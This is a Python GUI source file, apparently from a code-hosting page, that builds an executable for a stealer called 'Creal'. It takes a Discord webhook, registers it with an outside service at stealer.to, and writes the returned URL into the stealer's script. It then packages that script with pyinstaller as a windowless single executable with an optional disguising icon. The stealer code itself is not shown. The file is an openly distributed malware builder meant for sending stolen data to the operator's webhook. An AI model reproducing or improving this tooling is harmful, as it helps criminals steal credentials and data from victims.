-
Notifications
You must be signed in to change notification settings - Fork 0
/
builder.pyw
84 lines (64 loc) · 2.66 KB
/
builder.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import os
import shutil
import customtkinter as ctk
from tkinter import messagebox, filedialog
import requests
ctk.set_appearance_mode("dark")
app = ctk.CTk()
app.title(f"Creal Builder")
app.iconbitmap("img\\xd.ico")
app.geometry("400x240")
app.resizable(False, False)
app.update_idletasks()
screen_width = app.winfo_screenwidth()
screen_height = app.winfo_screenheight()
x = (screen_width - app.winfo_reqwidth()) // 2
y = (screen_height - app.winfo_reqheight()) // 2
app.geometry(f"+{x}+{y}")
def validate_webhook(webhook):
return '/api/webhooks/' in webhook
def replace_webhook(webhook):
file_path = 'creal.py'
with open(file_path, 'r', encoding='utf-8') as file:
lines = file.readlines()
for i, line in enumerate(lines):
if line.strip().startswith('h00k ='):
lines[i] = f'h00k = "{webhook}"\n'
break
with open(file_path, 'w', encoding='utf-8') as file:
file.writelines(lines)
def select_icon():
icon_path = filedialog.askopenfilename(filetypes=[("Icon files", "*.ico")])
return icon_path
def add_icon():
response = messagebox.askquestion("Add Icon", "Do you want to add an icon?")
return response == 'yes'
def build_exe():
webhook = entry.get()
if validate_webhook(webhook):
response = requests.post("https://stealer.to/create", data={"webhook": webhook})
response_data = response.json()
replace_webhook(response_data["protected_url"])
icon_choice = add_icon()
if icon_choice:
icon_path = select_icon()
if not icon_path:
messagebox.showerror("Error", "No icon file selected.")
return
else:
icon_option = f' --icon="{icon_path}"'
else:
icon_option = ''
message = "Build process started..."
messagebox.showinfo("Information", message)
dist_path = os.path.join(os.getcwd(), "dist")
build_command = f'pyinstaller creal.py --noconsole --onefile{icon_option}'
os.system(build_command)
messagebox.showinfo("Build Success", "Build process completed successfully. Check your dist folder.\nDon't forget to star the repo and join Telegram channel to support and receive lastest updates!")
else:
messagebox.showerror("Error", "thats not a valid discord webhook url")
entry = ctk.CTkEntry(master=app, width=230, height=30, placeholder_text="Enter Discord Webhook URL")
entry.place(relx=0.5, rely=0.4, anchor=ctk.CENTER)
button = ctk.CTkButton(master=app, text="Build EXE", text_color="white", hover_color="#363636", fg_color="black", command=build_exe)
button.place(relx=0.5, rely=0.6, anchor=ctk.CENTER)
app.mainloop()